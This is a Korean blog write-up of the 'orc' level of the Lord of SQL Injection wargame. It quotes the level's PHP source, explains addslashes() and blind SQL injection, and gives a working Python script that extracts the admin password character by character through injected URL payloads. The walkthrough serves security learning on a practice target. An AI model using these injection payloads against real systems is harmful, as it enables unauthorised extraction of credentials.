Jastes 2023. 5. 13. 15:24

Write Up

 ์œ„ ๋ฌธ์ œ๋“ค์€ query๋ฌธ๊ณผ ํ•ด๋‹น ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์•Œ๋ ค์ค๋‹ˆ๋‹ค.
์ด๋ฅผ ์ด์šฉํ•˜์—ฌ solve() ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฌ๋Š” ํ˜•์‹์ž…๋‹ˆ๋‹ค.

 

https://los.rubiya.kr/gate.php

 

los.rubiya.kr


์†Œ์Šค ์ฝ”๋“œ ๋ถ„์„

#Query_1 query execute
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>";
#Query_2 pw checking
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

์œ„์™€ ๊ฐ™์€ ๋ถ€๋ถ„์€ Query2์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด PW๋ฅผ ์ง์ ‘ ํ™•์ธํ•˜๊ธฐ์— ๊ทธ๋ƒฅ ์šฐํšŒ๋Š” ์•ˆ๋˜๊ฒ ์ฃ 
์ด์™€ ๊ฐ™์ด ๋น„๋ฒˆ์„ ๋ชจ๋ฅด๋Š” ๊ฒฝ์šฐ์— ๋‹จํŽธ์ ์ธ ์ •๋ณด๋กœ PW๋ฅผ ๊ตฌํ•˜๋Š” ๋ฐฉ์‹์ด ๋ฐ”๋กœ..
Blind SQL Injection์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค.!

 

SQL Injection

1. Background: Relational DBMS 1. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ธฐ๋ณธ ๊ฐœ๋…๊ณผ DBMS - By L.M.S 1. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•„์š”์„ฑ ๋”๋ณด๊ธฐ ๐Ÿ’กKEYWORD - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•„์š”์„ฑ - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •์˜์™€ ํŠน์„ฑ - ๋ฐ์ดํ„ฐ์™€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค - DBMS, ๋ฐ

dystopia050119.tistory.com

 

์ฝ”๋“œ์—์„œ๋Š” ๋”ฑํžˆ ์—†์–ด๋ณด์ด๋„ค์š”.. ์šฐํšŒํ•˜๊ธฐ์—๋Š”.. ๊ทธ๋Ÿฌ๊ธฐ์— ์ง์ ‘ ์ฐพ๊ณ  ์•Œ์•„๋ด…์‹œ๋‹ค!

์•Œ๋“ค์‹ ์žก
addslashes()์™€ ๊ฐ™์€ ๊ฒฝ์šฐ๋Š” ' ๋ฌธ๊ตฌ ๊ฐ™์€ ๊ฒฝ์šฐ์— ์˜ค๋ฅ˜๋ฅผ ์ทจํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•œ ํ•จ์ˆ˜๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ด์Šค์ผ€์ดํ”„(escape)๋ฅผ ํ•˜๊ธฐ ์œ„ํ•œ PHP์˜ ํ•จ์ˆ˜๋ผ๊ณ  ์ƒ๊ฐํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.
 

[PHP] addslashes(), stripslashes() ๊ทธ๋ฆฌ๊ณ , get_magic_quotes_gpc()

addslashes() ํ•จ์ˆ˜์™€ ๊ทธ์™€ ๋ฐ˜๋Œ€๋˜๋Š” stripslashes() ํ•จ์ˆ˜ DB ์ž‘์—…์„ ํ•˜๊ธฐ ์œ„ํ•ด์„œ ์ฟผ๋ฆฌ๋ฅผ ์ž‘์„ฑํ•˜๊ฒŒ ๋˜๋Š”๋ฐ, ์ด๋•Œ DB ์‹œ์Šคํ…œ์€ ์ž‘์€๋”ฐ์˜ดํ‘œ ' ์™€ ํฐ๋”ฐ์˜ดํ‘œ " ๊ทธ๋ฆฌ๊ณ  ๋ฐฑ์Šฌ๋ž˜์‹œ / ๊ทธ๋ฆฌ๊ณ , NULL byte ๋ฅผ ๋ฌธ์ž์—ด์„ ๊ตฌ

zzaps.tistory.com

 


Soultion

Where์˜ ์ฃผ์„(์šฐํšŒ)

ํ•ด๋‹น ๋ถ€๋ถ„์€ GET๋ฐฉ์‹์œผ๋กœ ์–ป๊ธฐ์— URL์— ์ž…๋ ฅ์„ ํ•˜์—ฌ SQL๋ฌธ์„ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

Blind SQL Injection์ด๊ธฐ์— ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ฑฐ๋‚˜ ํˆด์„ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•๋ฐ–์— ์—†๊ฒ ๊ตฐ

ํˆด ์‚ฌ์šฉ์„ ํ• ๋ ค๊ณ  ํ–ˆ์œผ๋‚˜.. ํ•ด๋‹น ๋‹ต์„ ์ฐพ๋Š”๊ฒŒ ์•„๋‹ˆ๋ผ DB ์ž์ฒด๋ฅผ ๊ณต๊ฒฉํ•˜๋Š” ๋‚ด์šฉ์ด๋ผ์„œ..
์œ„ ์‚ฌ์ดํŠธ ์ด์šฉ์— ๊ด€ํ•œ ์‚ฌ์šฉ์— ์ง€์žฅ์„ ์ค„ ์ˆ˜ ์žˆ๊ธฐ๋„ ํ•˜๊ณ  ๋ง‰ํ˜€์žˆ๋Š” ๋ถ€๋ถ„๋„ ์žˆ์–ด์„œ
์ฝ”๋“œ๋กœ๋งŒ ํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค(ํˆด ์‚ฌ์šฉํ•˜๋‹ค๊ฐ€ ์•Œ๊ฒŒ๋œ ๋ถ€๋ถ„์ด๊ธด ํ•œ๋ฐ..)

Exploit Code
#!/usr/bin/python
import requests
from pwn import *
import sys

# Argument check (Cookie)
if len(sys.argv) != 2:
    print(sys.argv[0] + " [PHPSESSID Cookie]")

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"

header = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' }

cookie = { 'PHPSESSID' : str(sys.argv[1]) }

payload = ''

def chk_pw_len():
    for i in range(16):
        payload = url
        payload += "?pw='or id='admin' and length(pw)="
        payload += str(i)
        payload += "%23"
        res = requests.get(payload, headers=header, cookies=cookie)

        log.info("Payload : %s" % str(payload))
        log.info("Len : %s" % str(i))
        if "Hello admin" in res.text:
            log.success("Len : %s" % str(i))
            return i


def pw_leak(url, pw_len):
    pw = ''
    for i in range(1, int(pw_len)+1):
        for j in range(0x2f, 0x7b):
            payload = url
            payload += "?pw='or id='admin' and ascii(substr(pw,"
            payload += str(i)
            payload += ",1))="
            payload += str(j)
            payload += "%23"

            res = requests.get(payload, headers=header, cookies=cookie)
            log.info("Payload : %s" % str(payload))

            if '<h2>Hello admin</h2>' in res.text:
                log.info("Password[%s] => %s" % (str(i), chr(j)))
                pw += chr(j)
                break

    log.success("Password : %s" % str(pw))


if __name__ in '__main__':
    print(url)
    pw_leak(url, chk_pw_len())

์ œ๊ฐ€ ์ž‘์„ฑํ•œ ์ฝ”๋“œ๊ฐ€ ๊ณ„์† ์•ˆ๋˜์„œ.. ์™œ์ธ์ง€๋Š” ์ž˜ ๋ชจ๋ฅด๊ฒ ๋Š”๋ฐ ใ… ใ… 
๊ทธ๋Ÿฌ๊ธฐ์— ์ข…ํ˜์Œค์ด ์•Œ๋ ค์ฃผ์‹  ์ฝ”๋“œ๋ฅผ ์—ฌ๊ธฐ์— ์˜ฌ๋ ค๋ด…๋‹ˆ๋‹ค.

 

Python์„ ์–ด๋Š์ •๋„ ํ•˜์…จ๊ณ  ์›น ๋ณด์•ˆ์„ ํ•˜์…จ๋‹ค๋ฉด ์ด์ •๋„๋Š” ๊ธˆ๋ฐฉ ์ดํ•ดํ•  ์ˆ˜ ์žˆ์ฃ ?

 

Python requests ๋ชจ๋“ˆ(module) ์‚ฌ์šฉ๋ฒ•

Python requests ๋ชจ๋“ˆ(module) ์‚ฌ์šฉ๋ฒ•

me2nuk.com

์œ„์— ๋งํฌ๋ฅผ ํ†ตํ•ด ์ดํ•ดํ•˜์‹œ๋ฉด ๋˜๋ฉฐ, ์ผ๋ถ€๋กœ ์„ ์ƒ๋‹˜์ด ์‰ฌ์šด ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์…จ๊ธฐ์—
๊ธˆ๋ฐฉ ์ดํ•ด๊ฐ€ ๋˜๊ฒ ์ฃ ?(์ฐธ๊ณ ๋กœ pwn์€ System์—์„œ ์‚ฌ์šฉํ•˜๋Š” ํŒŒ์ด์ฌ ๋ชจ๋“ˆ์ด๊ธด ํ•œ๋ฐ)

 

์œ„ ์ฝ”๋“œ์— ๊ถ๊ธˆํ•œ ์ ์ด ์žˆ๋‹ค๋ฉด ๋ฌผ์–ด๋ด์ฃผ์„ธ์š”
์—ฌ๊ธฐ์„  ๋‹น์—ฐํžˆ Cookie๊ฐ’์„ ์ธ์ž์— ๋„ฃ์–ด์ฃผ์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€